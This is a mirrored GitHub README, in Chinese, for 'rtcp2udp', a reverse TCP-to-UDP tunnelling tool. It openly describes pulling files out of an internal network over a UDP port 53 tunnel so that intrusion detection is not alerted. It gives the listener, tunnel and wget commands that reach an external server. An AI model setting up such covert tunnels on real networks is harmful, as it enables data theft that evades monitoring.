Coder Social home page Coder Social logo

rtcp2udp's Introduction

rtcp2udp

反向端口转发工具 v 1.0
Reverse TCP Port to UDP Forwarding Tools
Last Update: 2016年04月29日
问题反馈: [email protected]

实例图

描述

在Hack场景中,Hack人员需要从内网获取指定文件,并向外网传输时,不被流控设备,入侵检测设备所警觉;
本工具的原理为,向外网服务器建立一个反向的UDP(53)隧道,用于文件传输;

网络传输流程

外网客户端连接 119.29.29.29 的80端口,等于连接内网 172.168.1.10 服务器的80端口,隧道采用UDP协议传输

使用说明

Http Server <- 内网机器 -> Internet Server (UDP隧道)
Client -> tcp:119.29.29.29:80 -> udp:119.29.29.29:53 -> tcp:172.168.1.10:80

  • 在你的外网服务器监听用于服务的 UDP&TCP 端口 这里假设场景,你的外网服务器 IP 为 119.29.29.29
[root@localhost ~]# python tcp2udp.py -t 0.0.0.0:80 -u 0.0.0.0:53
[INFO] UDPServer 0.0.0.0:53 Listening Success...
[INFO] TCPServer 0.0.0.0:80 Listening Success...
  • 在内网机器打通与外网服务器之间的 UDP 隧道
[root@localhost ~]# python rtcp2udp.py -t 172.168.1.10:80 -u 119.29.29.29:53
[INFO] Client Bridge Connection Success...
  • 当隧道打通后,就可以开始文件传输服务
[root@localhost ~]# wget http://119.29.29.29/src/file.tar.gz

rtcp2udp's People

Contributors

ring04h avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.